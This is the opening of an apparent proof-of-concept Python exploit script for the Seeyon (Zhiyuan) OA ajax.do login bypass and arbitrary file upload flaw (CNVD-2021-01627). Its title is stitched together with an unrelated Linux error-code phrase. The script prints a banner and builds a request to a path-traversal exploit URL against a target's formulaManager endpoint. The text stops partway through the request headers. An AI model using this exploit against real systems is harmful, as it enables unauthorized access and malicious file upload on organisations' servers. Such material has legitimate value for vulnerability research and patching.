linux系统错误代码1627,致远OA ajax.do登录绕过 任意文件上传 CNVD-2021-01627

import requests

import sys

from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():

print('+------------------------------------------')

print('+  33[34mPOC_Des: http://wiki.peiqi.tech                                   33[0m')

print('+  33[34mGithub : https://github.com/PeiQi0                                 33[0m')

print('+  33[34m公众号 : PeiQi文库                                                        33[0m')

print('+  33[34mVersion:致远OA 多个版本                                             33[0m')

print('+  33[36m使用格式:  python3 poc.py                                            33[0m')

print('+  33[36mUrl         >>> http://xxx.xxx.xxx.xxx                             33[0m')

print('+------------------------------------------')

def POC_1(target_url):

vuln_url_2 = target_url + "/seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip"

print('33[36m[o]正在请求: {}'.format(vuln_url_2))

headers = {

"User-Agent": "Mo